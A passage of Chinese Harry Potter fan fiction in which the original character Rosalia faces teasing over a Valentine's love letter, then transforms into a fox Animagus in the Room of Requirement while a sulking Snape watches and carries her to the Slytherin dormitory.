“我最近迷上了散步。”邓布利多愉快地说:“黄昏时分、在禁林边缘走一走,有助于思考一些趣事儿。”他捻了捻手指。此刻,阿黑正兴致盎然地玩他袍子上垂下来的流苏。
“今天,没想到,能在这儿碰上这么多志同道合的朋友——你们也是来散步的吗?”
“校长,我们在等人呢。”莉莉担忧地说:“罗萨利亚、西弗勒斯还有莱姆斯,他们进去好久了。”
“他们会平安回来的。”邓布利多说着,往禁林里看去,那里正有一个身影独自走出来:“真好呀,不是吗?活在世上,有人牵挂、有人担忧、有人等着你回去,应该珍惜——”他略微提高音量,呼唤了一声,“布瑞兹教授。”
“……邓布利多校长。”远远地,布瑞兹有些错愕的声音传来。她很快又略有些心虚地说:“几个学生都没事。”
“我知道这一点了。”邓布利多道:“来吧,布瑞兹教授,你愿意在去校医院的路上和我聊聊这一趟的经过吗?”
在几个学生的注目下,邓布利多和布瑞兹爬上草坡,往城堡的方向走去。恰好,两三个个头稍矮的孩子蹦跳着与他们错身而过。
“你们——有谁认识罗萨利亚·拉文谢德小姐吗?”最前面的男孩跑到禁林外站着的两撮人中间,问:“我听说她在这里。”
莉莉注意到了男孩胸前的格兰芬多徽章,回答说:“我想我们都认识呢,你找她有什么事吗?”
男孩从袖子里掏出了一支玫瑰花,朝莉莉举起来:“我是来——”可他还没说完,詹姆就急切地大嚷起来:“你又是从哪儿冒出来的啊?”
莉莉马上不快地瞪了詹姆。
“我知道你。”雷古勒斯冷不丁地道:“你是戴维·格杰恩,对吧。”他这么说着,灰眼睛却眯起来,警惕地盯着那朵玫瑰花。
“没错。”戴维捏着玫瑰花,似乎有点紧张,“我是来——今天是情人节呢,我是来问问拉文谢德小姐……想不想晚上和我一起去玫瑰花园散步。”
“啊?”小天狼星不敢相信:“你看上她——你眼睛没瞎吧?”
戴维点头:“是啊,多亏了她,我眼睛才没瞎呢。”
詹姆了然地拍了拍小天狼星:“他是耳朵聋啦。”
“她只是顺手救了你,”雷古勒斯冷冷地说,“但根本就不记得你吧。”
“她当然记得我!”戴维瞟一眼对方胸前的斯莱特林徽章,不服气地说:“圣诞节,她还给了我礼物呢!”
“她也给了我礼物!”雷古勒斯说:“这说明不了什么,这只是一种象征友好的礼节,你能意识到吗?”
小天狼星突然把耳朵捂了起来。
戴维涨红着脸:“那她——那她之前还收过我的情书呢!”
空气寂静。彼得的倒吸凉气声变得格外清晰。
众人异口同声:
“啊——?”
“来了!”
这时,戴维的同伴呼唤了一声:“他们出来了!他们——出、出、跑出去了?”
两道黑色的龙卷风从禁林里刮了出来,伴随一段喋喋不休的“要日落了”的嘀咕声,打了所有人一个措手不及。
“喂——”
莉莉转过身,对着坡上的两人喊道:“你们俩去哪儿啊——我要生气了——”
“对不起!”罗萨利亚正被斯内普紧紧拽着手腕奔跑,她单手按掉了嘀咕钟,上气不接下气地喊道:“真的对不起——莉莉——晚点跟你解释——”
“好吧——对了——”
灿烂的、金黄的夕阳下,莉莉把手放在嘴边:
“罗萨利亚——祝你生日快乐——”
“谢谢你——莉莉——”
58.阿尼玛格斯
“轰隆——”
恍若黑色浪涛在天边翻涌。闪电划过积云。拉文克劳女生宿舍内,一双蜜色的眼睛在豁然睁开了。
白色晨衣顺着绳梯滑到地面,而后忽然凭空消失。休息室内,一颗水晶球轱辘轱辘滚到一旁。鹰首门环从内向外地被凭空拉开了。极轻微的脚步声在寂静的走廊里回荡,一路绵延到八楼。“巨怪棒打傻巴拿巴”的挂毯对面,光滑的大门缓缓在墙壁上显现。
罗萨利亚拉开门进去,将隐形斗篷脱了下来,气喘吁吁地呼出一口气。
“轰隆——”
闪电划过天际,又一声雷鸣。
“荧光闪烁。”罗萨利亚举起魔杖,照亮时隔半年未见的“楼梯间”。此刻,底座凹槽中央,水晶瓶内正盛着一小汪鲜血般的红色液体。
……太好了!罗萨利亚笑了笑,下意识地抬起头开口说:“我们成功……”了。
昏暗的楼梯间内,声音空落落地跌到地上。她唇角的弧度很快又垂了下来。
差点忘了。斯内普不在。罗萨利亚叹息一声。他估计不会来了。他连隐形斗篷都不肯拿着——真想不通怎么会有这么记仇的人。
她不就是没跟他提戴维·格杰恩的事嘛……
大半个月前,情人节,戴维·格杰恩相当赶巧地在斯内普和莉莉给她过生日时冒了出来。雷古勒斯的努力打断毫无助益,这孩子仿佛逆反心上来了一样,直接在赫奇帕奇餐桌边把散步邀约喊了出来。
结果可想而知,嘘声和口哨声当即响了起来。更糟的是,他们的动静吸引了看热闹不嫌事大的巴格曼。他上一秒还在跟一个胖乎乎的格兰芬多聊魁地奇的事儿,下一秒就跑过来嚷嚷:“答应他、答应他、答应他!”
“不行——”
雷古勒斯脱口而出,但莉莉立刻把他拉回了长椅上,低声说:“你快别添乱了,让罗萨自己做决定。”
赫奇帕奇男级长本吉对女级长马琳努努嘴,说:“你看吧,我说过他们早晚变成八个——一人谈一个对象,正好是八个。”
“安静、别大惊小怪!”马琳遏制住巴格曼:“都给我老实吃饭——还有你伯莎,别凑过来好吗?”
起哄声这才没落了。但罗萨利亚依然头晕目眩。一扭头,还对上了斯内普阴沉的脸——老实说,有那么一刻,她产生了“快跑”的念头。
斯内普问:“情书是什么时候的事?”
“圣诞假期第一天!”戴维抢答道。
“闭嘴。”斯内普嘶嘶地说:“我问的不是你——没人教过你不要插嘴吗?”黑漆漆的眼睛始终没离开她。
在这样的注视下,罗萨利亚没来由地心虚,干巴巴地说:“是那天……”
“你中间去了一趟盥洗室。”斯内普说:“就是那时候?”
“对……”
“很好,罗萨利亚。”斯内普压着嗓子,就仿佛真有条蛇盘踞在他身体里说话似的:“你甚至用大脑封——你瞒住了我……你——”
“你能别这样对她说话吗?”戴维打断了他:“就算你们是朋友,也不能用这种语气啊。”
罗萨利亚真想给戴维的嘴巴也施个什么消失咒语——小朋友,你现在说的每一句话将来都会成为格兰芬多被扣分的理由,你知道吗?
然而斯内普不说话了。
他像是再也忍受不了这氛围,从长椅上猛地站起来,头也不回地、大步流星地走掉了。
也许那天选择追出去就好了。但罗萨利亚没有。她自己还闷闷不乐呢——她过生日,他就这么离开了?
后来发现不止。斯内普从那之后,一句多余的话都不跟她说了,还谢绝了和她的一切行程,包括去有求必应屋。直到今天下午仍是如此。
对此,莉莉表示:“西弗现在看你就跟佩妮看我一样,罗萨。”
罗萨利亚:“……谢谢,这个类比很生动啊。”
楼梯间内,罗萨利亚又盯着角落的书架和桌椅发呆,她总觉得自己不久前才从那上面下来。
唉……算了。
在这里变形至少有安全保障。事不宜迟,还是赶紧开始吧。
罗萨利亚闭上眼,专注地想象着一个宽敞的空间……嗯,最好有个水池,淡水和海水如果都有那就更好了……真该死啊,最关键的一环他竟然不来……再挂一盏灯吧,有点太黑了……
“咔哒。”
密闭空间内突兀的细微声响令罗萨利亚立即睁开了眼。
但她的警觉只持续了一霎那,紧接着就被不可思议替代了——没人能在有求必应屋准确找到这个房间……
除了他。
“……西弗勒斯?”罗萨利亚道。
斯内普摘下兜帽,目光从她手中的水晶瓶上掠过:“开始吧。”
“我还以为你不来了。”罗萨利亚站在原地没动。
“我只是来验收你的阿尼玛格斯形态。”斯内普拉开椅子坐下:“别忘了,你拿它跟我做了交换。”
罗萨利亚撇撇嘴,也没有多说什么。屋子安静到有些尴尬,她努力无视这种氛围,拔开瓶塞直接坐到了水池旁边。
水波粼粼地照在水晶瓶上。她深吸一口气——这一刻终于要来了。红色的液体顺着食道滑下,血腥味登时弥散开来。
罗萨利亚指杖于心脏,清晰地说:“Amato Animo Animato Animagus.”
咒语念出的一瞬间,剧痛就从胸口猛烈地灼烧起来。罗萨利亚觉得自己的五脏六腑似乎在发生变化,皮肤也变得滚烫。
魔杖从她手里脱落,滚到了地上。
“咚、咚咚、咚咚——”
太疼了。双重心跳声震耳欲聋。罗萨利亚几乎没听见斯内普的脚步声,但是一落眼,对方已经不知道什么时候走到她面前来了。
斯内普蹙着眉头,似乎想说什么,但罗萨利亚顾不得去分辨了。她眼前正在浮现一团白花花、毛绒绒、还带着点蜂蜜色调的四足动物,它耳朵尖尖、嘴筒瘦长、瞳孔竖裂、尾巴异常蓬松,那是一只——
她还没来得及在心中说出那个名字,就被一种奇妙的感觉打断了念头。
剧痛又消失了。
罗萨利亚一动不动。
她无比确信自己现在已经变成了动物。因为很明显,自己的视角变矮了、视野比以往更宽阔、而入眼的色彩不再那么鲜艳。忽然之间,水在池子中细微波动的声音忽然变得那么清晰,空气中弥漫着一股她刚刚并未闻到的艾蒿味——罗萨利亚吸了吸鼻子——还有股皂粉香气……
哦。罗萨利亚不再努力嗅闻了。因为现在那股混合气味已经凑到她面前来了。
是斯内普。
他正蹲下来看她呢。
“……罗萨利亚?”斯内普的声音有点儿不确定。
罗萨利亚垂下眼睛看了看自己的爪子和尾巴,又扭过脑袋对着水池照了照自己的影子——
水波中,一团蓬松的、仿佛淋了薄薄一层肉桂粉的白棉花糖,正和她面面相觑。
她重新看向斯内普,张开尖嘴巴,发出了“嘤”的一声。
“……罗萨利亚,你的阿尼玛格斯原来是,”斯内普用目光将她从头顶一路捋到尾巴尖,顿了顿,平静地说,“一只狐狸。”
罗萨利亚:“嘤。”
“……我并不意外。”斯内普移开了视线:“你本来就有这种狡猾的特质。”
罗萨利亚:“嘤。”
斯内普重新瞥过视线,又像刚才那样看了她一遍:“你到底是什么品种的?我没见过这种毛色的狐狸。”
我怎么知道。罗萨利亚心想。狐狸又不能说话。
斯内普把魔杖推到她脚下,缩回手指,站起来说:“变回来说话。”
罗萨利亚下意识想要用手拿起魔杖,但她现在的动作看起来就像在拨弄木棍玩儿。似乎只能靠嘴了……她低下脑袋把自己的魔杖叼了起来,然后闭上眼想象自己的模样……
不知道过了多久,有求必应屋内终于传来一道声音:
“当狐狸的感觉太过美妙,以至于让你忘记时间了是不是?”斯内普道。
白金色的狐狸在水池边一动不动。(1)
又安静了一会儿,斯内普终于缓缓直起靠在墙壁上的腰背:“……罗萨利亚,出什么事了?”
白金狐的黑耳朵抖了抖,尾巴紧紧缩在身侧。
斯内普盯着她,提醒道:“清晰地在脑中想象自己的模样,这样就能……”
话音未落,白金狐突然动了:叼着魔杖,四肢打架地朝他走来。斯内普张了张口,把手从胸前放了下来,眼看着她顺着椅子吃力地爬到书桌上,从黑魔法书架里扒拉出一本书,用爪子把它翻开。
“呜咿——”白金狐呼唤道。
斯内普抿着嘴凑过来。他看到狐狸的爪子在书页上指了几个单词,它们连起来勉强拼成一句话:
“……‘我、遗忘、脸’?”斯内普念完,陷入了沉默。
半晌,他嗤了一声:“你为什么不说忘了自己的姓什么呢?”
白金狐:“嘤……”
“听不懂。”斯内普头也不回地朝有求必应屋的大门走去:“自己玩够了就变回来。明早还有课,我要回去睡觉了。”
“咿——”罗萨利亚急
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切地叫着。
西弗勒斯·斯内普,你个白痴,我是真的有点想不起来了,我之前就忘记过自己姓什么——真是千算万算,没算到能在这么简单的一环上出岔子——这个时候了,你就不能把冷战的事放一放吗?
她也管不了那么多了,撒开腿朝斯内普扑去,一下就扒住了他的衣袍。
“——撒开。”斯内普僵硬地说。
罗萨利亚不撒手。这个西弗勒斯到底有没有意识到,他一走她连开门都费劲啊?哎——手!手!手往那儿抓呢这个混蛋——嘶好痒——啊!
斯内普试图揪住狐狸的颈背把她从身上弄下来,但明显无济于事,还被踹了一脚。他抬手反抓回去,却被躲开了,于是就这么直接捏住了狐狸尾巴。
本能在一瞬间替罗萨利亚做出了反应。
“嘶!”
斯内普猛地把手缩了回来,不可置信地看着自己的左手——一排牙印正整齐地和他对望。
而狐狸掉到地上,一言不发地舔自己尾巴上的毛,舔完还警告般地朝他呲了一口气。
“哈气?”斯内普也朝狐狸呲起牙来:“你咬了我,还好意思朝我哈气,罗萨利亚?”
“呜——”是谁要丢下她不管的?是谁先伸手乱摸的?罗萨利亚气不打一处来——她又没真把他咬伤,最多破点皮,这还没之前练习黑魔法防御时误伤的程度重!
罗萨利亚看到斯内普嫌弃般甩甩手,解开自己的斗篷拿在手里,又转身将地上的胡桃木魔杖拾起来,黑着脸朝她嘴边强硬地一塞:“拿着!”
她颇感屈辱地咬住了。
谁知下一秒,斯内普猝不及防地抓住她的两只手、或者说是前爪,将她直接拎了起来。罗萨利亚还没来得及挣扎,就被他三两下卷进了斗篷里。
“你最好真的只是忘了自己长什么样子,”斯内普道,“不然就祈祷我能一个晚上学会阿尼玛格斯还原咒吧!”
他威胁般说完,面无表情地盯着被裹成婴儿的狐狸,忽然,唇角不自然地动了一下。
就好像要笑出来了似的。
在这一瞬间,罗萨利亚有了一种直觉:斯内普刚才转身要走是在故意吓唬她。
果然,斯内普说:“我要回去拿去年的合照。你待在这。”
……这人怎么忽然变幼稚了!罗萨利亚挣扎了一下,但她全身都被裹得严严实实的,动弹不得,只能将咬在魔杖上的牙齿多露一些出来以示愤怒。
斯内普看着她,拧起眉头:“什么意思?你非要跟着我吗?”
“嘤。”不是。
斯内普咕哝道:“……那你老实一点。”
“嘤。”都说了不是——
算了。没有共同语言。
罗萨利亚懒得出声了。
斯内普披上隐形斗篷,将自己和她一起裹了起来,大步走出有求必应屋。他走路很快,但是步态很稳,偶尔会忽然停下,大约是在观察和躲避巡逻的教授。
“咚咚、咚咚……”
规律的心跳声在她耳朵边响个不停。
罗萨利亚耸了耸鼻子:艾蒿的气味挥之不去。现在闻着还有一股曼德拉草的味道。皂粉的气味就更不用说了,无孔不入。也许他清洁过衣物。看来斯内普现在很会照顾自己……
还没到吗?她觉得上下眼皮开始打架了。斯内普把她裹得有点暖和……
终于,罗萨利亚听见斯内普低声说:“火灰蛇。”
他在念口令。斯莱特林休息室到了。但她懒得掀开眼皮。
她感觉斯内普又走了一段路,很快,休息室内潮湿的味道变成了复杂的、各式各样的人味儿。好在不算难闻。
呼噜声越来越清晰,罗萨利亚听见斯内普小声念出了闭耳塞听咒,紧接着又念了几句解咒咒语。下一刻,她被掏出来放到了一摞书上。
罗萨利亚把眼睛睁开了,她又试着挣扎了一下,这一次,斯内普的斗篷怜悯地松开了她。
斯内普没管她,只是蹲到床头柜前翻找东西。罗萨利亚懒洋洋地抖擞身上的毛,眯着眼打量斯内普的床位——真是相当有意思,他的黑魔法书、魔药书还有其他典籍缭乱地堆砌,却是处在随手取用的位置;草药瓶和魔药药剂整齐地摆放在床底下,像在进行一场赏心悦目的陈列和展示;而其他一些零碎的杂物……待遇就很一般了,斯内普似乎嫌弃它们派不上用场,都塞到了一起。
至于衣服——罗萨利亚刚把脑袋探出去,就被斯内普发现了。他立刻把敞开的衣柜门关上,向她投来一个“没礼貌”的目光。
还有更没礼貌的呢。罗萨利亚掉头就走,轻轻一跃直接爬上了他的床。